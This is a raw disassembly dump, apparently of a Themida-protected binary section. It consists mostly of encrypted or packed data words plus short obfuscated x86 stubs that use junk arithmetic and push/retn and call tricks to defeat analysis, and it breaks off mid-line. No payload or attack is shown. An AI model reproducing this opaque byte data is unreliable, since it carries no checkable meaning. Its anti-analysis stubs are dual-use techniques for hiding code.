0D8F47F1Fh dd 0E945EDA7h, 0F71AFEB8h, 83016480h, 0D62FFFE6h, 898A376Dh dd 0F0258A15h, 47C91EAEh, 0FDA3CC57h, 0AC4456Ah, 7489BB03h dd 0CD5938h, 0A7EA0000h, 8EF10D6Ah, 0B4FFE683h, 41AAF41Fh dd 2DE84DD8h, 0CDB7E171h, 3871083h, 49A235DBh, 9F725610h dd 0DA2F6FFFh, 97FA6638h, 0BDFFE6FCh, 0E880BE64h, 0FC298CA8h dd 0FE57FFE6h, 0FBEF526Eh, 0BC15FFE6h, 0BAA86916h, 6CBC4757h dd 0E6FBED50h, 51BA13FFh, 17F85DE8h, 91ADCA4Bh, 0FFE6FC2Eh dd 792FB54h, 0A5E575DEh, 0E6FC2689h, 60D913FFh, 8BA1371Ch dd 0B84BF14Ah, 89581293h, 9ACA2D49h, 9FF8FFE6h, 0FB8618FAh dd 145C2CD2h, 0B23874A0h, 74h, 0AB67BC43h, 0E44763F3h dd 12FFE682h, 0AB6613B9h, 0EE12ABE2h, 0F35C1208h, 9A040E63h dd 0AD40E60Fh, 4BD6C848h, 0E7722CE6h, 800B9382h, 8C34EE27h dd 290DC708h, 8967AE8h, 0A7B2699Fh, 7CA8336Bh, 0FFE68316h dd 0E36E30E0h, 800B937Eh, 0D1793364h, 61682293h, 38748F29h dd 17C7h, 594D7700h, 4B2E9C95h, 49D4CA46h, 0B27B720h, 0FFE644A8h dd 18CF75CEh, 0A5306EA7h, 89150055h, 822FD5FEh, 0F0820D91h dd 0E7B75BB0h, 2206C041h, 0DB1BABF3h, 0E6835CBFh, 8B318AFFh dd 0C39DEC4Dh, 9AB91733h, 419607E0h, 1841CCD2h, 9A096C88h dd 0DE3707E0h, 0FE85EF38h, 0BA79418Ch, 94D464CDh, 0B3D53854h dd 0A2FB07E0h, 0E0B3D336h, 2A80107h, 95090A6Fh, 161B25Fh dd 0DA038E10h, 85A1E171h, 7E0B322h, 0C152F750h, 78A437DDh dd 7E0B313h, 0BF51A6FEh, 852B54DFh, 0AD664A04h, 50EBBF1h dd 6AA90E99h, 5C8DA934h, 4955BEA2h, 0BF0B4313h, 0C8F2406Eh dd 412FFEh, 0CDAE54DDh, 183h, 7F1E537Dh, 9DBD4961h, 96F340F7h dd 0B41D818Eh, 0B8B20824h, 4BE007E0h, 254ED9C5h, 47CC31BCh dd 1B50D846h, 4DB6AB62h, 0F7A768BDh, 3EC9436Ch, 0AA9581D7h dd 580543E9h, 3DA0BCBBh, 6307E0A4h, 0F3AB650Ah, 85AFFF8Ah dd 9C244DE1h, 9D4AF09Ch, 7A24EC76h, 0F4218611h, 5ABA1FAAh dd 3E67B944h, 3880DC84h, 0E5702EE3h, 0DB9516BCh, 0F2821CF7h dd 774034C8h, 2ED40280h, 6E820F0h, 3186406Fh, 17000000h dd 36C69AF3h, 0E683971Ah, 54E43D7Fh, 8295F814h, 62BB7FE6h dd 9AFD29BCh, 777FE682h, 91FC944Eh, 0A82B47D7h, 0EFFE682h dd 0D0987FB5h, 31000000h, 87A396F3h, 0FFE68324h, 8384E703h dd 59B2FFE6h, 0C656BF18h, 0C36A5C86h, 0C0926CADh, 0E68AF154h dd 20C61FFFh, 0A2026C88h, 679107E0h, 3DE0359Dh, 0A2EB914Bh dd 119C020Dh, 8FF47FE8h, 37E41A84h, 1C7F9BDCh, 4A07E144h dd 0D1FD88F1h, 7E14569h, 1DA8F619h, 0B9445AB8h, 666A237Fh dd 9C200BCCh, 75F9A15Bh, 56AB7A34h, 2F58E3BBh, 6737DC89h dd 556F9931h, 0A5F998F9h, 4346A74Dh, 0DB388D1Dh, 690F38C3h dd 2E3FB5D1h, 328B0FE3h, 0CDD142A7h, 1B70B042h, 8203A9F5h dd 0F65930C8h, 0BB95EB52h, 16A60F2Dh, 0E1B684FAh, 67E85217h dd 44BAA1Ah, 51A6369Fh, 2C55E0BEh, 86B04886h, 27EE4AD6h dd 0A5FFD77h, 0A40723B3h, 0D207E103h, 0F31CD379h, 1E3ACA96h dd 7E912A8h, 252DD36h, 1143A6C2h, 187107E9h, 504EC572h dd 0F8A66D1Ah, 12F31D6Dh, 0E62555A3h, 45FD379h, 0CA859185h dd 20F3D791h, 65CED042h, 0D191822Fh, 6AF55E40h, 9940A05h dd 0DBF73777h, 75917D78h, 6E0C365h, 0B7F809A4h, 7D37B85Eh dd 29E87A99h, 58C1EA75h, 9E7522h, 0AD675h, 0BC6F0000h dd 67F2AC67h, 0A0FF983Eh, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh dd 85108E84h, 0E1895152h, 4C181h, 0E9810000h, 4, 5C240C87h dd 52241489h, 0C281E289h, 4, 8704EA83h, 895C2414h, 0AC68241Ch dd 89000046h, 0B9512404h, 8028F21h, 89CE8956h, 83595EF3h dd 248904ECh, 24048324h, 81535804h, 43D7242Ch, 408F652Eh dd 8408108h, 652E43D7h, 5324048Bh, 0C381E389h, 4, 4C381h dd 1C870000h, 34FF5C24h, 0C4835B24h, 0E9F6E904h, 4634FFF7h dd 0E8FC95B3h, 37DA6B19h, 9480B869h, 0C5030802h, 970DE0FFh dd 90D0172Ah, 9039108Ch, 54100B5Bh, 92FB4F70h, 81CB066Dh dd 8D8D484Ah, 80295FDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0CDC35040h, 10E976h, 76FC0000h, 304CD9h dd 0DDA731D2h, 6EC1F284h, 0CBF0277h, 664AF05Ah, 8D89F18Bh dd 7FA1CD9h, 0E398589h, 85C707FAh, 7FA31ADh, 5924h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F8C35141h, 6642515Bh dd 0E87DC281h, 2BD985C7h, 7FAh, 0B5FF0000h, 7FA0E71h, 1BD5950Bh dd 0DF8B07FAh, 179995FFh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 2C931BC3h, 8952609Eh dd 0FA2AAD9Dh, 880F5807h, 6, 189DB589h, 6A6107FAh, 1995FF00h dd 8B07FA10h, 8A3FEBC0h, 60A5AE26h, 0A237BD94h, 9C39C401h dd 0F25B83F1h, 550DAEDEh, 41FD374Eh, 4922AC36h, 0E7B13378h dd 0AC2C6962h, 98037F50h, 0EE9D268h, 33C10E4h, 927DC0C7h dd 0CB095E05h, 0A5A197CFh, 36E9A6A9h, 1000000h, 5224FCF2h dd 6C416C74h, 61636F6Ch, 65486574h, 7061h, 1400h, 7 dup(0) dd 114AE900h, 0D1680000h, 0E9080298h, 0FFF7E868h, 299B568h dd 0E85EE908h, 968FFF7h, 0E908029Ch, 0FFF7E854h, 29CD168h dd 0E84AE908h, 0FD68FFF7h, 0E908029Fh, 0FFF7E840h, 2A0BD68h dd 0E836E908h, 0FC68FFF7h, 0E90802A0h, 0FFF7E82Ch, 2A1F868h dd 0E822E908h, 0A168FFF7h, 0E90802A2h, 0FFF7E818h, 2A31368h dd 0E80EE908h, 0C968FFF7h, 0E90802A4h, 0FFF7E804h, 2A63568h dd 0E7FAE908h, 76A0FFF7h, 0CD45F228h, 27EE9BD1h, 7B944177h dd 0D140ED23h, 0AE6397CDh, 1C524CC5h, 0C3F9A56Fh, 6EA4FA16h dd 164C52C1h, 70D3EF47h, 9607E919h, 6CA77930h, 1C250421h dd 72FA9F5h, 67F25B6Ch, 58BBD717h, 7EFFE765h, 657FE2FEh dd 4CA5FFE7h, 83903DE3h, 0E52B901Bh, 739C2EB9h, 603ED5B9h dd 0A947D2Ah, 0BB1E3A7Ah, 0E9FFE765h, 14ACEA90h, 6555B8D4h dd 227BFFE7h, 825E3FA8h, 0D3793125h, 26B1ED26h, 92552C1h dd 0FFE72AA6h, 0C3DB37CCh, 3DA60F38h, 0D4B958ADh, 60592716h dd 0C04BB412h, 52B3F197h, 7D992937h, 7E135E3h, 96E686B0h dd 2B41D729h, 69A73C85h, 1C829035h, 98D828B3h, 0E13B197Ch dd 49EE4707h, 224BD6C8h, 3BA1087Ch, 2AAB07E1h, 43316970h dd 46CF406Fh, 7F000000h, 33C0233Fh, 8DE607E1h, 96F330E7h dd 0DEFA3ACAh, 0FFE6837Bh, 90D1CD45h, 0DDF99137h, 7E09C0Fh dd 0FB27B20Bh, 7E09B94h, 0AAC6069Eh, 7E09B47h, 0ED6E146Dh dd 0A6F42C33h, 86DB406Eh, 8D6E148Ah, 0EFh, 0F66CA71Eh dd 0CFCF441Eh, 49B2DB66h, 0E6B859BEh, 451DF65Bh, 207E92D0h dd 9A032CB7h, 0F969AA0Fh, 0DAF68618h, 0FFE68377h, 0A5DB449Dh dd 0E688A931h, 533AD9FFh, 18DA5897h, 0C0DC6C5Ah, 0FFE7535Dh dd 8BC12A83h, 225835DEh, 85D96517h, 117A24F1h, 85041DA8h dd 1EF64BDBh, 52CCF580h, 49DEB99Bh, 5FF79DA9h, 4744F51Fh dd 0B1545D87h, 6DF9970Bh, 4CA507E1h, 0FF4E92BCh, 0A83D5491h dd 2663C402h, 3694F713h, 69C207E1h, 0DB307000h, 0B0D9643Ah dd 1853960Ah, 28810FDEh, 0D0CE4398h, 65AD029Ah, 2BE69339h dd 38C3DB37h, 4DE8A60Fh, 0DE998564h, 0E4904A3h, 9E780000h dd 0F51DCA00h, 4FC673A9h, 0A36C194Fh, 0F918C5FBh, 863B6FA5h dd 0F42A749Dh, 9BD1CD47h, 467C22EEh, 0EE247A99h, 48ABC71Fh dd 6E07E91Bh, 6AA75108h, 0C251FE34h, 0F3EFA6DCh, 1E3ACA96h dd 7E09C50h, 3B8EE44Eh, 9AE546D1h, 137AA631h, 1D07E0DEh dd 0A3DBE29Ch, 41406EEAh, 0D1h, 326CA7D2h, 43FB78A2h, 4205EE3Eh dd 0DCEA99C8h, 8F35EAE1h, 0FD7A97FCh, 0E6E47EE1h, 0A64BA4FFh dd 7BA42F6Fh, 52588212h, 0F6BD9544h, 0ACD86B11h, 0FFE6F524h dd 59E9B55Eh, 1910D04h, 0E6EC82E5h, 0B157B0FFh, 514DC673h dd 84DCADC6h, 0D3AD8F4h, 0F6807E1h, 4F1178D9h, 0AB4FA3BFh dd 0FE570FDDh, 0AF122E6Eh, 71FFED19h, 61BAFBA3h, 0BC4757BCh dd 55ED93h, 0AA578D11h, 0E6793767h, 659985A3h, 0D658B2Ah dd 0BA5C0000h, 1101AEE4h, 6BAA578Dh, 0BF50FD33h, 15FCA9DFh dd 6A1F5389h, 0D80E9081h, 7FB5E92Bh, 2A603ED2h, 0D208967Dh dd 2C8FAB03h, 5A07E91Ch, 6AA73DF4h, 838EF10Dh, 0C450FFE6h dd 0D74099DAh, 7F1FF4A1h, 247A9AEFh, 8CCA7099h, 326CA7D5h dd 0CDD142A7h, 83BC2397h, 8D86FFE6h, 0E52EDB11h, 3BD429B9h dd 6C88D863h, 0FFE68309h, 0CF75DE37h, 623CD73Ch, 137692D2h dd 41FFE683h, 93AF42E8h, 4FC4A862h, 0A76ABF4Fh, 0BE4955BBh dd 78A12C95h, 0D5D592FEh, 0D67CBB28h, 0ED60098h, 0B4EA26ABh dd 0EA1F963Ah, 253C7444h, 0C2DA3875h, 6B000000h, 3ACA96F3h dd 0E0A5401Eh, 75055E07h, 5B04184Bh, 680EE5BAh, 0E33085D5h dd 3AA115BBh, 407E0DFh, 9F048F0Fh, 5B9F2A74h, 53B8601Ah dd 0D91118D2h, 77406EE6h, 89h, 87D7FD27h, 9F964B1Ah, 7AE042F9h dd 90FFE683h, 0BBD767F9h, 7E0AD7Dh, 40801069h, 0EA7529EBh dd 0ACF255C1h, 0C72007E0h, 0EE74AB4Dh, 24CA4A76h, 0D9244EE6h dd 8D611C06h, 0AF620FB5h, 0D41464EFh, 86157894h, 0E23B07E0h dd 0E0861376h, 69AC4107h, 1881AA35h, 0E8781172h, 974A3C58h dd 3F980FDAh, 15317109h, 0FFE696B2h, 0DBF787E0h, 0FFE69678h dd 0F29F459Eh, 0DCF5801Eh, 723B3ADh, 7E0A349h, 0FFE61C75h dd 875h, 0AC67BC98h, 9EEB4CF2h, 0B2F232C2h, 0E6833396h dd 620861FFh, 0E09B3CEEh, 46D12A07h, 0E09AB31Ah, 823CBD07h dd 0E8B65EB3h, 0A23A7242h, 0E121406Eh, 0E09262C5h, 0B9E52C07h dd 44C4052Eh, 0E092C528h, 2992EB07h, 0DA283h, 0E0330000h dd 0FFE68379h, 0FBB0A07Fh, 0F339FFFFh, 1E3ACA96h, 7E09C3Ch dd 5A86116Ah, 7E09AF3h, 0BBC27CFDh, 406EA383h, 49521h dd 7591D100h, 7E09312h, 8A41E740h, 3C91727Bh, 0C324CAD4h dd 0EE0A9AC6h, 7E089ECh, 0E04481DAh, 0B1A5BA58h, 3767AAFFh dd 7CDD83ACh, 0A7C3530Dh, 0B61FD9D5h, 41DA801h, 2F4BDB85h dd 0B1A93DA5h, 0E69AC41h, 1F388FF2h, 0F35CB5AEh, 46D63F68h dd 0F47F1FF1h, 0BC1F3BCBh, 0EAAE1F38h, 0FE53EB91h, 0A6538915h dd 0EA73316Dh, 5537BB80h, 0B117B1Ah, 66B00000h, 0BD550238h dd 17FEABE1h, 6BA45187h, 0C150FD33h, 0BE73A7DDh, 2C623CD5h dd 0D309957Fh, 7EB4EA26h, 265C42D1h, 80E3FF57h, 0A607E91Fh dd 67BC8940h, 3C65F0AEh, 742AE996h, 1E808FE4h, 0BDCCE578h dd 0E5FDA292h, 2891843Dh, 0E035898h, 36DC0590h, 0E1AE38C2h dd 0C555AE07h, 0C8FEA070h, 1EA9F51Bh, 0E14D8FF2h, 5D238A07h dd 503907E1h, 32648010h, 200FDB8Eh, 0A9103CC7h, 0B3FFE76Eh dd 39717832h, 0D738757Ah, 18h, 0CA96F368h, 712DE53Ah, 0CD1733CBh dd 0D907E090h, 1856F580h, 0EF000000h, 3ACA96F3h, 0E9742AE5h dd 66821AC0h, 7E097A8h, 900E0196h, 0A72D9C27h, 0FF74326Ch dd 4C998335h, 0A497211h, 9E780000h, 0F51DCA00h, 4FC673A9h dd 0A36C194Fh, 0F918C5FBh, 863B6FA5h, 0F42A749Dh, 9BD1CD47h dd 467C22EEh, 0EE247A99h, 48ABC71Fh, 6E07E91Fh, 67BC5108h dd 2B65F0AEh, 70B4F771h, 0B55BC409h, 0E8043554h, 0FFE70285h dd 59E952ABh, 0A97D1004h, 0B62AEC74h, 0D76F157Eh, 0E0C5D9BBh dd 0AF84AE07h, 514DC7E6h, 4A32F6D7h, 77025BA4h, 679D0112h dd 2C670DF3h, 0F46C212Fh, 342C5DBEh, 2ACA88A4h, 9FF82892h dd 3B63AF14h, 14E281ABh, 57410325h, 771273B1h, 3A43A6C2h dd 0DC712732h, 0B4DD6836h, 3652E24Bh, 2F2C6C04h, 94E979D2h dd 0E87B217Dh, 0D2CC4398h, 4781E47h, 2098099Dh, 656C26A7h dd 5926112Dh, 10ECBh, 96F35C00h, 3C1E3ACAh, 6A07E09Ah dd 0E92C8111h, 5B012AB5h, 0EEB063C8h, 96080BB8h, 47AAC606h dd 907E099h, 0F952930Bh, 0AE94C053h, 782F2BD3h, 1378039Bh dd 0CF139E00h, 1FF0D48Eh, 447D167Fh, 316DA68Ah, 660477A1h dd 4DFAF947h, 7CD169A7h, 0B6630995h, 8AB6415Dh, 47E32EA4h dd 8F5E1841h, 33C3DB3Ah, 0E0CEB417h, 0E389E207h, 8BC1DD36h dd 0E62D35DEh, 47C82DB8h, 0C649EE57h, 0CBE46FD8h, 0F30F9FC1h dd 7E0CEB0h, 0A6073D96h, 0D1ED7DE3h, 0FDAF28Bh, 6ED35EB7h dd 16C3F9A5h, 0EA16A1FDh, 0FFE6F29Fh, 82510B34h, 80493D58h dd 0F670811Ch, 7AADC86Ah, 7B28CE98h, 5CD00698h, 743AC99Bh dd 4E84DCB1h, 0A12C72A1h, 825FC275h, 0A8E838FAh, 0FA13298Ch dd 4DC257F1h, 349DC651h, 6F530D8Eh, 156AFAA4h dd 0BCFAA0FEh, 0B35E040Fh, 0D42660EBh, 850B1797h, 28DF65Fh dd 30C0A0E9h, 0F49CFA14h, 0BF4FA8F9h, 4DF3AB6Ah, 32280Fh dd 0F3C10000h, 1E3ACA96h, 7E090D4h, 0D33652D2h, 107E090h dd 85AF3FA8h, 0F1E1DF9Eh, 0C9F45A9h, 0FD336BA7h, 22AFBE7Bh dd 4C68F86Ah, 7E0A8F1h, 0B514B60Fh, 0ED277CBCh, 91FD26B1h dd 0FFE6832Eh, 0A855FB54h, 9CFD336Bh, 0C7E373EDh, 7E0ADB5h dd 0D5C94CE1h, 729CDC6Ch, 987E5C3Bh, 9946ECECh, 0F64F1677h dd 1488C092h, 91FAA46Fh, 3866AC01h, 0D8F484ADh, 7E18275h dd 5E9C429Bh, 0FC185FB1h, 7E18299h, 0C2DE6EC7h, 7E1825Fh dd 33C32C85h, 0EBC7A809h, 0DD83D32Fh, 858314Ah, 0FCD25C78h dd 77D00FDAh, 0C59C0ECh, 1A6FFFE7h, 689AB646h, 6E07E11Dh dd 0F55B8515h, 0B03138CEh, 76D9F585h, 9C07E0A9h, 0DE0A9D43h dd 7E0A977h, 3F460081h, 406EB507h, 526EAEEEh, 7E09CEFh dd 0ED50BC15h, 1307E09Ch, 9FFF15BAh, 6445EB14h, 24h, 4856BF14h dd 67BCEBA2h, 0E94AF0AEh, 1430C0A0h, 7E090CAh, 9AEF7FD8h dd 759E2975h, 389D3CCFh, 36000000h, 0FD607CBCh, 0D4FFE682h dd 0E68355B8h, 0E1227BFFh, 881E288h, 5E88C858h, 0F0887C5h dd 0B2EC2738h, 0EF95FE27h, 0E145BD7Bh, 0FE1A5A07h, 7E13D9Bh dd 81CA70C9h, 0A72E9D28h, 174326Ch, 42998334h, 71D6807h dd 72A40000h, 0C949F62Ch, 23F29FD5h, 7798457Bh, 0CD44F127h dd 0B2679BD1h, 205648C9h, 0C7FDA173h, 72A8F61Ah, 1A504EC5h dd 74D7F34Bh, 0A207E922h, 637B853Ch, 90D0B9h, 8341A4C0h dd 0A0BFFE6h, 9FE00994h, 83A0031Fh, 6DC6FFE6h, 86C65E04h dd 14BAE431h, 0E0899EA0h, 0AEEB4407h, 2763274Ah, 0C5435CAh dd 0A7FC3C7Ch, 7EA7326Ch, 0A35FAF12h, 76A86C5h, 2DC5A35Fh dd 943A93D4h, 9D685E20h, 0A02B84CDh, 0CE5E0287h, 0C3DB398Eh dd 9224A91Dh, 0EE43CA27h, 88D17727h, 355F9F2Fh, 0AEF4D3B1h dd 0AF5C0293h, 55AA3A64h, 3B66E0BEh, 0BE677E74h, 2AD715BBh dd 88F7B5E9h, 0BB5C3F00h, 65DE180h, 0B2640000h, 909B6ECh dd 63B25F95h, 0B758053Bh, 0D04B1E7h, 72275B91h, 0E0168889h dd 87BDE133h, 326836DAh, 0DA108E85h, 3497B30Bh, 6207E923h dd 6CA745FCh, 341D7432h, 0F32E9983h, 61E54h, 2B73A300h dd 0D4CA48F5h, 7A24F19Eh, 26789744h, 0D0CE43F0h, 0CAB1669Ah dd 74215747h, 1BC8FEA0h, 0C673A9F5h, 4C1B514Dh, 2375D8F4h dd 359B07E9h, 216CA77Eh, 9668E625h, 0F681EA6Dh, 0E0BE51A6h dd 25862C55h, 2C6CFC64h, 0BA603ED7h, 0E9FD3946h, 50BF1407h dd 65FA84Eh, 0AAF42176h, 1250F61Fh, 0F888D8B1h, 0E32962DCh dd 9C27800Fh, 0DEC40970h, 0D892130Fh, 6CCC99D1h, 0BE3748h dd 92E70000h, 3095207Eh, 0B056BFDFh, 0BA647BF9h, 0AC0191CFh dd 85AE3965h, 292B47DFh, 8D07E08Ah, 0B65F7323h, 0D43DD7E9h dd 0E3E63397h, 0A1E8D6E7h, 38DA2FBFh, 0CB2DB66h, 0FF865874h dd 338CD0DDh, 110358A8h, 386E78Dh, 718DCD5Dh, 0CEEDFF0Eh dd 9D35DB34h, 0EBA2F781h, 292EBD6h, 0F61265ADh, 0C8E16293h dd 59FF68C1h, 0F7A76CC1h, 0A0FE1267h, 40FBCFAh, 0EB8FDC9Ah dd 518C5179h, 522B2h, 27779F00h, 0D0CE44F1h, 7628ED9Ah dd 227C9340h, 0CCD23FECh, 0C6AD6296h, 701D534Bh, 17C4FAA4h dd 0C26FA5F9h, 48174D51h, 2471D4F0h, 399F07E9h, 0A46D82h dd 0FB250000h, 0DF1493D1h, 0D68D337Eh, 3ACA96F3h, 0E7722CE5h dd 408018BEh, 0EA7529EBh, 0AAF41CC1h, 0DC50F61Fh, 7E919BFh dd 1CF94E8Eh, 62CEF782h, 7E918FFh, 0EA27CC25h, 5A0029B4h dd 0D328B811h, 7B285E40h, 5549CA98h, 9B6090CAh, 0EBA697A3h dd 758E1982h, 0A0BC4C14h, 0FE2CAF6h, 0EF0893ECh, 1A36C69Ah dd 17D8E2E8h, 8AD795EEh, 7D91812Bh, 479A342h, 0CE480000h dd 25ED9AD0h, 7F964379h, 0D33CE91Fh, 29E895CBh, 560B3F75h dd 0C4FAA46Dh, 6BA1FD17h, 164C52BEh, 0BEF4AA69h, 187B97EFh dd 3E07E925h, 7DE021D8h, 78FFE683h, 0FFE68311h, 6EFE6227h dd 6480F719h, 0FFE68301h, 0E26DD62Fh, 0CCC689A8h, 4CB5AD61h dd 45D502D2h, 43E93595h, 0C5828FABh, 0C31C07E9h, 5E40D338h dd 810E5FA0h, 62013C91h, 407h, 0C425CBAh, 0B5EBB35Fh, 5B910D08h dd 73D61AEh, 0B1E7B75Ah, 32DFC87Dh, 8B89366Ch, 0E030DD13h dd 38DB88BEh, 9613066h, 0E9268AEDh, 9B52B807h, 0A7326CA7h dd 0D565FB8Eh, 650A9480h, 0B24AF0AEh, 0E09FD896h, 0A1710607h dd 0E04972FDh, 0B6D212AAh, 7E09F53h, 0E822881h, 508FB041h dd 0F4841AF7h, 8F3598B4h, 25B4F3Bh, 8EF35672h, 0C8214F3Bh dd 0DA37E422h, 8C178788h, 156AFA63h, 65F89E00h, 0F127414Ch dd 0A967BC3Ah, 9B416AF5h, 0E97925EEh, 0CCFC9BFh, 8225C9E2h dd 4F5CD66Dh, 6AFDA348h, 5A900E05h, 40D090F9h, 0E16C8A24h dd 54DF3807h, 0E117C128h, 904ACB07h, 5DA397C1h, 0EAFC96E6h dd 0FE3C7444h, 39DA406Eh, 8A000000h, 0EECB2E4Ah, 0A0F907E0h dd 0FF8A14FBh, 0F37930D6h, 1E3ACA96h, 7E09C50h, 2565F54Eh dd 0E09BA609h, 0CD73CC07h, 9BA70E3Ah, 30B107E0h, 0A7376F76h dd 26D5406Eh, 66000001h, 0CBAC67BCh, 0E6834CAFh, 0B8217AFFh dd 5EC1DD2Dh, 84FFE683h, 6F1CC22Bh, 0A6FFAA4h, 0BC0C9707h dd 82FD607Ch, 3FEAFFE6h, 0D91D82A2h, 5DD73071h, 6AF6B1B3h dd 6B18BE1Ch, 66BF6A8h, 0E75B910Dh, 0FFE71A5Fh, 209DF023h dd 0F0526382h, 58AD3DA6h, 0EA67E1BDh, 0D02C2D31h, 0EF9CDA80h dd 0D6EF7A24h, 11DADB3h, 7E0DF1Bh, 57B8EE47h, 5E9E2E32h dd 1308D034h, 0C454DE00h, 0E0D745A8h, 6C126B07h, 0DDBA1CF8h dd 64D1FB0Fh, 0A947CA2h, 26DC567Fh, 8BD47A42h, 0C44DA232h dd 0D7204ADAh, 90A31A34h, 661351F7h, 8435F3ABh, 0C7998533h dd 251ED8Ch, 0A6700000h, 0FD15C2F8h, 57BE6BA1h, 0AB641147h dd 110BDF3h, 7E33679Dh, 0EC227C95h, 93C9D53Fh, 3E742AE6h dd 0E61C8291h, 40A3BF17h, 6607E927h, 6AA74900h, 838EF10Dh dd 5BB4FFE6h, 50D62F2h, 0A9D40E99h, 3220EC6Ah, 27650B74h dd 0D0334F8Fh, 0F6FFE72Bh, 821CF89Dh, 93E42FDCh, 0E72B1477h dd 5FD842FFh, 8FEAA274h, 366CD53Eh, 0D7C7499Eh, 17BDE132h dd 0CA96F360h, 0F21C103Ah, 1E5ACA5Fh, 0E3CAA0A4h, 35DB3D87h dd 4EB3819Dh, 366007E1h, 4A2E61EBh, 0F0AE6280h, 78DBF787h dd 9E07E179h, 0C1569F45h, 97C04B53h, 1077A32Eh, 1A07E179h dd 0A0D8DF99h, 87406F85h, 6DC82B47h, 888A07E1h, 21628B16h dd 0F74122C8h, 0D2000000h, 0CBAC67BCh, 0E6834CAFh, 0B8217AFFh dd 0F0AE6512h, 5D050B60h, 0F681EAB4h, 449427CDh, 8385E804h dd 2BABFFE6h, 0E683AC0Fh, 1881DAFFh, 524CC572h, 0EE2277C7h dd 0E960AB0h, 49FFE688h, 0F47F1FF4h, 9B7825CBh, 0E7504EC7h dd 8F0F04B1h, 0C29EEB04h, 9D301632h, 55E07E0h, 3AAF4B75h dd 83932FF2h, 4B3E9FDDh, 8C6FD2EEh, 159507E0h, 0E08C96F9h dd 0FA63BC07h, 66AC0191h, 0DE84AD38h, 5EB10646h, 0E68CB540h dd 0DD6B3772h, 24B40D0Fh, 0F22042CFh, 600D43ACh, 942FEDB1h dd 0B79985E2h, 0E5DD7Ch, 3ADC0000h, 91812E64h, 0EB2AD70Dh dd 3FD07DB3h, 957C295Fh, 0EA9FD309h, 588E1001h, 0FF3569ABh dd 0AAE0BE52h, 528816FDh, 0AC0F2B83h, 0DA07E929h, 6AA7BD74h dd 0C14FA434h, 832952DDh, 0E77B9845h, 0BCE5702Eh, 5B851D53h dd 496B0A28h, 0EDB16145h, 6836DF84h, 6CA70BC2h, 0D142A732h dd 95207E91h, 524CC76Ch, 0FF359EC7h, 0E575EB9Eh, 0E919A8C9h dd 0EA75CE07h, 80108E85h, 0A3BE1640h, 0DF358B01h, 0E92E1073h dd 37DD3607h, 0D7C74CF9h, 801EF247h, 0E51B47DAh, 9934E788h dd 51C2A660h, 0A96A174Dh, 92565F5h, 24E374A6h, 73FE617Dh dd 0CB2424E3h, 0F88B318Ah, 97227C93h, 3E22DC05h, 0E693C9D5h dd 47E6712Dh, 1Fh, 40A3BFFFh, 6624E374h, 0BBB0670Dh, 0BC1F3B7Bh dd 0EAFFE683h, 82E50191h, 0B0FFE683h, 0A7FAB157h, 3FA42F6Fh dd 0DA3FCAD4h, 78DD6836h, 1277029Ch, 0AF149FFFh, 4CB13C62h dd 0EB50DBC3h, 84E9742Ah, 5285108Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push 0C4Ch mov [esp], edx push 6ACDh mov [esp], eax push eax mov eax, 546E5AA1h sub eax, 1B09260Dh add eax, 513420ACh add eax, 190F72DBh xor eax, 49C76085h not eax xor eax, 5E5641B3h mov edx, eax pop eax xor edx, 2EB2BE0h sub edx, 412AA639h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ecx mov ecx, 8 add ecx, 4F411FE5h add ecx, eax sub ecx, 4F411FE5h mov [ecx], edx pop ecx push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop edx add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- les ecx, [ecx] mov eax, 802A73Fh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 78h, 0C9h, 29h dd 5BA90877h, 22FEAF1Bh, 7BFF1946h, 3749033h, 3A23CA57h dd 9F93C46Bh, 540D0826h, 0A9AAFB1Ch, 0D7C9832Ch, 2B07E570h dd 2A03CB01h, 69813B50h, 0CF242E47h, 0B5323131h, 4387AB09h dd 0B5C19B39h, 29496311h, 0E5BB3953h, 0F8F5B122h, 9218D44h dd 0CF1FDF7Fh, 49750328h, 1E8D8D29h, 660802A9h, 0F5C7C781h dd 1CD98D89h, 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0E3DDFC3h, 8E0FF0h, 0C7000000h dd 0FA31AD85h, 640C07h, 14E900h, 71620000h, 0AC28D3BFh dd 0AFAED0ACh, 0B15F292Fh, 3F03347Bh, 85C710E7h, 7FA2BD9h dd 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_60DCDF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60DCDF proc near ; CODE XREF: Themida_:0060DCD7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_60DCDF endp ; --------------------------------------------------------------------------- mov eax, ds:829D9C85h imul esi, ds:45958BAFh, 0Bh cli pop es push dword ptr [ebp+7FA3391h] push 0 push edi call sub_60DD0E and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60DD0E proc near ; CODE XREF: Themida_:0060DD06p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_60DD0E endp ; --------------------------------------------------------------------------- dw 57DFh dd 0D2E82F48h, 1079958Bh, 95FF07FAh, 7FA1799h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 92C35141h, 0DD32CEE9h dd 660FA121h, 0F38BD68Bh, 95FF006Ah, 7FA1019h, 5AEBC08Bh dd 0C6BBE407h, 3891B6FFh, 82437AD0h, 8A392AA1h, 0BEE9228Ch dd 0EA69C868h, 55512467h, 20E2BF3Ah, 0A8C64A40h, 0CF4256DBh dd 8A3E68A4h, 876DFD6Bh, 0C0B275B5h, 9AAB8A7Eh, 0C1493D50h dd 728E319Bh, 0BD19B224h, 5A324D2Ah, 25A9519h, 7C34D644h dd 47D36C2Eh, 0B4E5E222h, 8D8DD194h, 802AA3Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2DC35747h, 0AC71B135h dd 